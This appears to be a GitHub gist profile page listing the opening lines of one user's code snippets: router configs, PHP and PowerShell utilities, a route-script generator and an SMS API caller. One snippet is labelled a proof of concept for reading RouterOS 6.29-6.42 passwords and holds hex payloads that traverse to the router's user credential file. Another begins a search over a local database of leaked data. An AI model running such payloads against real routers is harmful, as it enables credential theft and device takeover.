Skip to content

Instantly share code, notes, and snippets.

View vibbow's full-sized avatar
🏠
Working from home

vibbow

🏠
Working from home
View GitHub Profile
@vibbow
vibbow / regex.md
Created June 4, 2020 15:48
regex.md

[^=]+$

[^=]+$

Options: Case sensitive; Exact spacing; Dot doesn’t match line breaks; ^$ don’t match at line breaks; Greedy quantifiers; Regex syntax only

  • [Match any character that is NOT a “=”][1] [^=]+
    • [Between one and unlimited times, as many times as possible, giving back as needed (greedy)][2] +
  • [Assert position at the end of the string, or before the line break at the end of the string, if any (line feed)][3] $
/interface ethernet
set [ find default-name=ether1 ] name=ether1-telecom
set [ find default-name=ether2 ] name=ether2-cmcc
/ip firewall address-list
add address=192.168.0.0/16 list=Connected
add address=172.16.0.0/12 list=Connected
add address=192.168.0.0/16 list=LAN
add address=172.16.0.0/12 list=LAN
add address=36.128.0.0/10 list=ROUTE_CMCC
add address=39.128.0.0/10 list=ROUTE_CMCC
/ipv6 firewall address-list
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
add address=::1/128 comment="defconf: lo" list=bad_ipv6
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
add address=3ffe::/16 comment="defconf: 6bone" list=bad_ipv6
<?php
define('HOST', '192.168.163.111');
define('PORT', '80');
$test1_low = 0;
$test1_high = 0;
$test2_low = 0;
$test2_high = 0;
<?php
$fileUrl = 'http://repo.packagist.org/packages.json';
$options = array (
'http' =>
array (
'follow_location' => 0,
'max_redirects' => 20,
'proxy' => 'tcp://127.0.0.1:8888',
$all_app = Get-AppxPackage
foreach ($each_app in $all_app)
{
$each_family_name = $each_app.PackageFamilyName
$each_capability = (Get-AppxPackageManifest $each_app).Package.Capabilities.Capability
if ($each_capability)
{
if ($each_capability.Name.Contains('internetClient') -or $each_capability.Name.Contains('internetClientServer'))
@vibbow
vibbow / ros_642.php
Last active August 1, 2020 12:05
RouterOS 6.29-6.42 直接读取密码的 POC
<?php
$payload_a = "680100664d320500ff010600ff09050700ff090701000021352f2f2f2f2f2e2f";
$payload_a .= "2e2e2f2f2f2f2f2f2e2f2e2e2f2f2f2f2f2f2e2f2e2e2f666c6173682f72772f";
$payload_a .= "73746f72652f757365722e6461740200ff88020000000000080000000100ff88";
$payload_a .= "02000200000002000000";
$payload_b = "3b0100394d320500ff010600ff09060100fe093502000008008000000700ff09";
$payload_b .= "040200ff88020000000000080000000100ff8802000200000002000000";
<?php
define ('DB_SOURCE', 'd:\\leakdb');
define ('CACHE_LIMIT', 67108864);
define ('RESULT_LIMIT', 1000);
define ('TIME_LIMIT', 600);
$begin = microtime(true);
set_time_limit(TIME_LIMIT + 100);
ob_end_flush();
@vibbow
vibbow / route_bat_generator.php
Created May 23, 2014 21:44
Windows 路由表添加脚本生成工具
<?php
/**
* Windows 路由添加脚本生成工具
* 由路由列表文件,生成Windows适用的路由添加脚本
* vibbow @ 2014/5/23
*
* 参考路由列表文件:
* http://www.dnspod.cn/misc/iplist.txt
* 可从中截取出要生成的运营商路由表
@vibbow
vibbow / 2-waysms.php
Created April 23, 2014 18:49
2-WaySMS 调用脚本
<?php
define('SMS_NUMBER', '');
define('SMS_TOKEN', '');
define('SMS_API', 'http://www.2-waysms.com/my/api/sms.php');
$to = '';
$message = '';
$senderid = '';
echo sendsms($to, $message, $senderid);